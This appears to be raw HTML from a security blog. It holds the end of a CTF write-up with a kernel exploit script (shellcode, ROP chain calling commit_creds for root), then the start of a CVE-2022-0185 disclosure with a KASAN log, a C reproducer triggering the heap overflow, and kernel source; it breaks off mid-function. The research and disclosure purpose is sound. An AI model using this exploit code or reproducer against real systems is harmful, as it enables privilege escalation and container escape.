</span><span class="hljs-built_in" style="color: blue;">print</span><span style="background-color: whitesmoke;">(hexdump(buf))
userland_pie = u64(buf[</span><span class="hljs-number">0x128</span><span style="background-color: whitesmoke;">:</span><span class="hljs-number">0x130</span><span style="background-color: whitesmoke;">])
userland_stack = u64(buf[</span><span class="hljs-number">0x130</span><span style="background-color: whitesmoke;">:</span><span class="hljs-number">0x138</span><span style="background-color: whitesmoke;">])
log.success(</span><span class="hljs-string" style="color: #a31515;">'userland_pie: %#x'</span><span style="background-color: whitesmoke;"> % userland_pie)
log.success(</span><span class="hljs-string" style="color: #a31515;">'userland_stack: %#x'</span><span style="background-color: whitesmoke;"> % userland_stack)
sc_leaker = module_data_base + </span><span class="hljs-number">0x410</span><span style="background-color: whitesmoke;">
add(</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">)
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(sc_leaker))
sc = </span><span class="hljs-string" style="color: #a31515;">b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05'</span><span style="background-color: whitesmoke;">
sc_buf = sc.rjust(</span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">, p8(</span><span class="hljs-number">0x90</span><span style="background-color: whitesmoke;">))
edit(</span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">, sc_buf)
show(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">8</span><span style="background-color: whitesmoke;">)
sc_leak = u64(getleak())
log.success(</span><span class="hljs-string" style="color: #a31515;">'shellcode buffer leak: %#x'</span><span style="background-color: whitesmoke;"> % sc_leak)
stored_rip = stack + </span><span class="hljs-number">0x3eb0</span><span style="background-color: whitesmoke;">
edit(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, p64(syscall_stack))
kpti_trampoline = kernel_base + (</span><span class="hljs-number">0xffffffff81800e10</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">) + </span><span class="hljs-number">0x16</span><span style="background-color: whitesmoke;">;
copy_to_user = kernel_base + (</span><span class="hljs-number">0xffffffff81269780</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
do_mprotect_pkey = kernel_base + (</span><span class="hljs-number">0xffffffff811224f0</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
poprdi = kernel_base + (</span><span class="hljs-number">0xffffffff8114078a</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
poprsi = kernel_base + (</span><span class="hljs-number">0xffffffff810ce28e</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
poprdx = kernel_base + (</span><span class="hljs-number">0xffffffff81145369</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
poprcx = kernel_base + (</span><span class="hljs-number">0xffffffff810eb7e4</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
init_cred = kernel_base + (</span><span class="hljs-number">0xffffffff81e37a60</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
commit_cred = kernel_base + (</span><span class="hljs-number">0xffffffff810723c0</span><span style="background-color: whitesmoke;"> - </span><span class="hljs-number">0xffffffff81000000</span><span style="background-color: whitesmoke;">);
rop = </span><span class="hljs-string" style="color: #a31515;">b''</span><span style="background-color: whitesmoke;">
rop += p64(poprdi)
rop += p64(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">)
rop += p64(poprsi)
rop += p64(</span><span class="hljs-number">0x1000</span><span style="background-color: whitesmoke;">)
rop += p64(poprdx)
rop += p64(</span><span class="hljs-number">7</span><span style="background-color: whitesmoke;">)
rop += p64(poprcx)
rop += p64(</span><span class="hljs-number">0xffffffffffffffff</span><span style="background-color: whitesmoke;">)
rop += p64(do_mprotect_pkey)
rop += p64(poprdi)
rop += p64(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">)
rop += p64(poprsi)
rop += p64(sc_leak)
rop += p64(poprdx)
rop += p64(</span><span class="hljs-number">0x500</span><span style="background-color: whitesmoke;">)
rop += p64(copy_to_user)
rop += p64(poprdi)
rop += p64(init_cred)
rop += p64(commit_cred)
rop += p64(kpti_trampoline)
rop += p64(</span><span class="hljs-number">0xdeadbeef</span><span style="background-color: whitesmoke;">)
rop += p64(</span><span class="hljs-number">0xcafebabe</span><span style="background-color: whitesmoke;">)
rop += p64(userland_pie & </span><span class="hljs-number">0xfffffffffffff000</span><span style="background-color: whitesmoke;">)
rop += p64(</span><span class="hljs-number">0x33</span><span style="background-color: whitesmoke;">)
rop += p64(</span><span class="hljs-number">0x200</span><span style="background-color: whitesmoke;">)
rop += p64(userland_stack)
rop += p64(</span><span class="hljs-number">0x2b</span><span style="background-color: whitesmoke;">)
edit(</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, rop)
p.interactive()</span>
</span></p><p>And these are the results of running on remote:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgKkKupBIq4Q-OnJKBnZw1LbWuU0i7GWhOsF3tmKMzaEzXGxrem968p4z7-j1oqpZ2uqVgV60NBoKBLcnJuBTlztUWoDvJZO6nmc7fTwAiyfz0dsXQUevHJE7vZM4L8nGjGTg6q8uwK5UwTvpI-ZFp1swoyc9QmqErb9c2hhXyloWFFMCugfmmR6xVMKw=s1002" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="894" data-original-width="1002" height="572" src="https://blogger.googleusercontent.com/img/a/AVvXsEgKkKupBIq4Q-OnJKBnZw1LbWuU0i7GWhOsF3tmKMzaEzXGxrem968p4z7-j1oqpZ2uqVgV60NBoKBLcnJuBTlztUWoDvJZO6nmc7fTwAiyfz0dsXQUevHJE7vZM4L8nGjGTg6q8uwK5UwTvpI-ZFp1swoyc9QmqErb9c2hhXyloWFFMCugfmmR6xVMKw=w640-h572" width="640" /></a></div><p></p><p>When discussing solutions after the CTF, I heard of another really
interesting approach to this from r4j on Super HexaGoN. Since initramfs
loads into RAM, he just found a fixed offset from the heap onto portions
of the filesystem to attack and edit busybox.</p>
<p>Overall, kRCE was quite a fun and unique challenge! zer0pts CTF 2022 definitely had some of the best CTF pwnables for the past few
months. As always, feel free to point out any mistakes I may have made
and ask any questions about the writeup!</p></div>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-8814147965526194982.post-85081024791870460732022-01-25T09:00:00.033-08:002022-01-25T09:04:40.752-08:00CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers<p>Recently, several friends on my CTF team <a href="https://cor.team">Crusaders of Rust</a>
and I found a Linux kernel heap overflow 0-day. We found the bug
through fuzzing with syzkaller and we quickly developed it into an
Ubuntu LPE exploit. Afterwards, we rewrote it to escape and root
Google’s hardened Kubernetes CTF infrastructure. This bug affects all
kernel versions since 5.1 (5.16 is in progress currently), and has been
assigned CVE-2022-0185. We have already disclosed this to the Linux
security and distro mailing list, and the bug has been patched as of
this article’s release. Before I continue, I would like to give several
acknowledgements for those who worked with me.</p><p>A huge shoutout must go to <a href="https://clubby789.me">clubby789</a>, <a href="https://day91.me">Day91</a>, and <a href="https://twitter.com/ryaagard">ryaagard</a>.
Thanks must go to all of them (especially ryaagard for porting the exploit to Ubuntu 20.04), for working with me on the exploit for
several days straight. As an extra fun tidbit of information, Day is
only 15 at the time of writing this exploit… I can’t wait to see what he
will do in a few years!</p><p>Further thanks must go to <a href="https://xz.az">chop0</a> for finding this bug and setting up our private fuzzing infrastructure, and <a href="https://github.com/ginkoid">ginkoid</a> for giving us ideas for container escapes and setting up our testing infrastructure. </p><p>One last thing to mention is that this bounty submission was actually a bug collision. During the disclosure process, we found out that <a href="https://twitter.com/n0psledbyte">n0psledbyte</a> from the Singaporean VR firm StarLabs actually found the same bug earlier. Since we were the first to properly report and disclose it, Google was still nice enough to grant us a sizeable bounty - thanks to <a href="https://twitter.com/sirdarckcat?lang=en">sirdarckcat</a> for helping us out with the bug collision situation.</p><p>Beginning 2022, our teamates were resolved to find a 0 day in 2022.
We weren’t really sure how exactly to get started, but since our team
had a high degree of familiarity with Linux kernel exploits, we decided
to just purchase some dedicated servers and run Google’s <a href="https://github.com/google/syzkaller">syzkaller</a> fuzzer. On January 6th at 22:30 PST, chop0 hit the following report on a KASAN failure in <code>legacy_parse_param</code>: <code>slab-out-of-bounds Write in legacy_parse_param</code>. It seems like <a href="https://groups.google.com/g/syzkaller-android-bugs/c/hWixpJ22kc8/m/-fEuuHsxEAAJ">syzbot</a>
found this issue just 6 days earlier when fuzzing Android, but the
issue was left unhandled and we naively thought no one else took notice.</p><p>
</p><p>The following was the crash log:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;">BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100
CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
__dump_stack lib/dump_stack.c:88 [inline]
dump_stack_lvl+0x4d/0x66 lib/dump_stack.c:105
print_address_description.constprop.0+0x21/0x140 mm/kasan/report.c:233
__kasan_report mm/kasan/report.c:419 [inline]
kasan_report.cold+0x7f/0x11b mm/kasan/report.c:436
legacy_parse_param+0x450/0x640 fs/fs_context.c:569
vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
__do_sys_fsconfig fs/fsopen.c:439 [inline]
__se_sys_fsconfig fs/fsopen.c:314 [inline]
__x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
RIP: 0033:0x7fe8eeb7489d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fe8edcc5c28 EFLAGS: 00000246 ORIG_RAX: 00000000000001af
RAX: ffffffffffffffda RBX: 00007fe8eec94030 RCX: 00007fe8eeb7489d
RDX: 0000000020000040 RSI: 0000000000000001 RDI: 0000000000000003
RBP: 00007fe8eebe100d R08: 0000000000000000 R09: 0000000000000000
R10: 0000000020000800 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffd8112faef R14: 00007fe8eec94030 R15: 00007fe8edcc5dc0
Allocated by task 386092:
kasan_save_stack+0x1b/0x40 mm/kasan/common.c:38
kasan_set_track mm/kasan/common.c:46 [inline]
set_alloc_info mm/kasan/common.c:434 [inline]
____kasan_kmalloc mm/kasan/common.c:513 [inline]
__kasan_kmalloc+0x7c/0x90 mm/kasan/common.c:522
kmalloc include/linux/slab.h:591 [inline]
legacy_parse_param+0x3e2/0x640 fs/fs_context.c:559
vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
__do_sys_fsconfig fs/fsopen.c:439 [inline]
__se_sys_fsconfig fs/fsopen.c:314 [inline]
__x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
autofs4:pid:386120:autofs_fill_super: called with bogus options
autofs4:pid:386117:autofs_fill_super: called with bogus options
The buggy address belongs to the object at ffff88802d7d8000
which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
4096-byte region [ffff88802d7d8000, ffff88802d7d9000)
The buggy address belongs to the page:
page:000000006784204d refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x2d7d8
head:000000006784204d order:3 compound_mapcount:0 compound_pincount:0
flags: 0x100000000010200(slab|head|node=0|zone=1)
raw: 0100000000010200 0000000000000000 0000000200000001 ffff888100043040
raw: 0000000000000000 0000000000040004 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88802d7d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff88802d7d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88802d7d9000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
^
ffff88802d7d9080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff88802d7d9100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc</span></p><p>Fiddling around a bit with the C repro, we found the following snippet could trigger a crash reliably:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> _GNU_SOURCE</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/syscall.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdio.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdlib.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">ifndef</span> __NR_fsconfig</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> __NR_fsconfig 431</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">endif</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">ifndef</span> __NR_fsopen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> __NR_fsopen 430</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">endif</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> FSCONFIG_SET_STRING 1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> fsopen(name, flags) syscall(__NR_fsopen, name, flags)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">main</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">* val = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fd = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
fd = fsopen(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"9p"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) {
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"Opening"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, val, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}</span></p></div><p>Now, what exactly is causing the overflow? First of all, what is this <code>fsconfig</code> syscall? According to the <a href="https://patchwork.kernel.org/project/linux-fsdevel/patch/153313723557.13253.9055982745313603422.stgit@warthog.procyon.org.uk/">patch</a> that brought it in: </p><p>Add a syscall for configuring a filesystem creation context and triggering
actions upon it, to be used in conjunction with <code>fsopen</code>, <code>fspick</code> and <code>fsmount</code>.</p><p>For arguments, we need to pass in a file descriptor, along with the
cmd <code>FSCONFIG_SET_STRING</code> and 2 strings for key and value to reach the
region of the crash. Per the patch notes for using <code>FSCONFIG_SET_STRING</code>,
the value must point to a null terminated string, and the final argument
(the auxiliary value) must be 0. Let’s go through the path of the stack
trace, starting at <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fsopen.c#L216"><code>vfs_fsconfig_locked</code></a>. Nothing really pertinent to the bug is here, besides knowing that the default case in its switch statement leads to <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fs_context.c#L127"><code>vs_parse_fs_param</code></a>. Note how it calls the <code>parse_param</code> function pointer from the <code>ops</code> field of the fs_context pointer. As defined by the <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fs_context.c#L637"><code>legacy_fs_context_ops</code></a> structure, this function pointer is what points to <code>legacy_parse_param</code>. </p><p>
</p><p>What exactly determines if something is “legacy?” When allocating a filesystem context structure in <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fs_context.c#L288"><code>alloc_fs_context</code></a>, the following happens: </p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">/* <span class="hljs-doctag" style="color: grey;">TODO:</span> Make all filesystems support this unconditionally */</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
init_fs_context = fc->fs_type->init_fs_context;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!init_fs_context)
init_fs_context = legacy_init_fs_context;</span></p></div><p><code>fs_type</code> is of the type <code>struct file_system_type</code>. Looking at references to the <code>file_system_type</code> struct, we see a whole <a href="https://elixir.bootlin.com/linux/v5.14.21/C/ident/file_system_type">list</a> from different files that handle different file_systems. The one we abused in our exploit was <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/ext4/super.c#L6713"><code>ext4</code></a>. Our original fuzzing crash happened on the <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/9p/vfs_super.c#L357">Plan 9 filesystem</a>. It seems like in both of these (and a ton of other file systems) don’t have the <code>init_fs_context</code> field set so they all default to legacy and can go down the path of <code>legacy_parse_param</code>.</p><p>
</p><p>Let’s take a look at the offending function <a href="https://elixir.bootlin.com/linux/v5.14.21/source/fs/fs_context.c#L525"><code>legacy_parse_param</code></a>: </p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">legacy_parse_param</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> fs_context *fc, <span class="hljs-keyword" style="color: blue;">struct</span> fs_parameter *param)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">legacy_fs_context</span> *<span class="hljs-title" style="color: #a31515;">ctx</span> =</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fc->fs_private;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = ctx->data_size;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">size_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> len = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret;
ret = vfs_parse_fs_param_source(fc, param);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (ret != -ENOPARAM)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> invalf(fc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"VFS: Legacy: Can't mix monolithic and individual options"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">switch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (param->type) {
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fs_value_is_string:
len = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + param->size;
fallthrough;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fs_value_is_flag:
len += </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(param->key);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">default</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> invalf(fc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"VFS: Legacy: Parameter type for '%s' not supported"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
param->key);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (len > PAGE_SIZE - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - size)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> invalf(fc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"VFS: Legacy: Cumulative options too large"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strchr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(param->key, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">','</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ||
(param->type == fs_value_is_string &&
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memchr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(param-></span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">string</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">','</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, param->size)))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> invalf(fc, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"VFS: Legacy: Option '%s' contained comma"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
param->key);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!ctx->legacy_data)
